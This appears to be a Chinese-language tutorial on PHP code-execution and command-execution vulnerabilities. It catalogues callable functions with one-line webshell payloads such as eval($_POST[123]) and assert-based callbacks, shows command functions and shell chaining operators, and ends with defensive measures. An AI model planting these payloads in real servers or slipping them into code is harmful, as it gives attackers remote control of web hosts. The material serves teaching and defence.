代码执行和命令执行
字数 1711 2025-08-12 11:33:49
PHP代码执行与命令执行漏洞详解
一、代码执行漏洞
代码执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以通过传参在Web服务器上执行恶意代码。
1. 可变函数漏洞
PHP中一个变量名后面如果有圆括号,PHP将寻找与变量值同名的函数并尝试执行。
$func = "system";
$func("whoami"); // 相当于执行system("whoami")
2. 常见代码执行函数
eval()
- 将一个字符串作为PHP代码执行
- 是语言构造器,不是函数,不能作为可变函数调用
- Payload:
eval($_POST[123]);
assert()
- 执行一个有返回值的PHP表达式
- PHP7.2之前是函数,可以使用可变函数调用
- PHP7.2之后变为语言构造器
- Payload:
assert($_POST[123]);
call_user_func()和call_user_func_array()
call_user_func(): 第一个参数作为回调函数,其余为参数- Payload:
call_user_func('assert','eval($_POST[123])');
- Payload:
call_user_func_array(): 第一个参数作为回调函数,第二个数组参数作为回调函数参数- Payload:
call_user_func_array('assert',['eval($_POST[123])']);
- Payload:
array_map()
- 为数组的每一个元素应用回调函数
- Payload:
array_map('assert',['eval($_POST[123])']);
array_filter()
- 使用回调函数过滤数组中的元素
- Payload:
array_filter(['eval($_POST[123])'],'assert');
array_reduce()
- 用回调函数迭代地将数组化为单一的值
- Payload:
array_reduce([1,2],'assert','phpinfo()');
create_function()
- 创建匿名函数(PHP7.2弃用,PHP8.0移除)
- Payload:
$a=create_function('','eval($_POST[123]);'); echo $a();
usort()和uasort()
- 使用自定义比较函数对数组排序
- Payload:
$arr=[1,'eval($_POST[123])']; usort($arr,'assert');
preg_replace()的e模式
- 在PHP≤5.6中,e模式可将字符串作为代码执行
- 示例:
preg_replace('/.*/e', 'system("whoami")', 'test');
二、命令执行漏洞
命令执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以在服务器终端执行系统命令。
1. 常见命令执行函数
system()
- 执行系统命令并输出结果
- 示例:
system("whoami");
passthru()
- 功能与system()相同
exec()
- 默认没有回显,需要手动echo
- 只返回最后一行结果
- 示例:
$arr=[]; echo exec("ipconfig",$arr); var_dump($arr);
shell_exec()
- 默认没有回显,需要手动echo
- 可以输出多行结果
- 示例:
echo shell_exec("ipconfig");
反引号(``)
- 反引号内的代码被当做系统命令执行
- 默认没有回显
- 示例:
echo `ipconfig`;
popen()
- 打开一个指向进程的管道
- 示例:
$fp=popen("whoami",'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;
proc_open()
- 类似popen()但更复杂
2. 命令连接符
&&: 左边成功才执行右边||: 左边失败才执行右边&: 无论左边成功与否都执行右边(同时执行)|: 管道符,左边结果作为右边参数(左边必须正确执行)
注意:URL中使用&需要URL编码为%26
三、防御措施
1. 代码执行防御
- 禁用危险函数(eval, assert等)
- 严格过滤用户输入
- 使用白名单验证输入
2. 命令执行防御
escapeshellarg()
- 在字符串两端加引号,并去掉字符串内的引号
- 示例:
escapeshellarg($_GET['cmd'])
escapeshellcmd()
- 将所有特殊字符用
^转义
注意:这两个函数配合使用可能产生问题,且不同系统/浏览器处理结果可能不同。最佳实践是避免直接将用户输入传递给命令执行函数。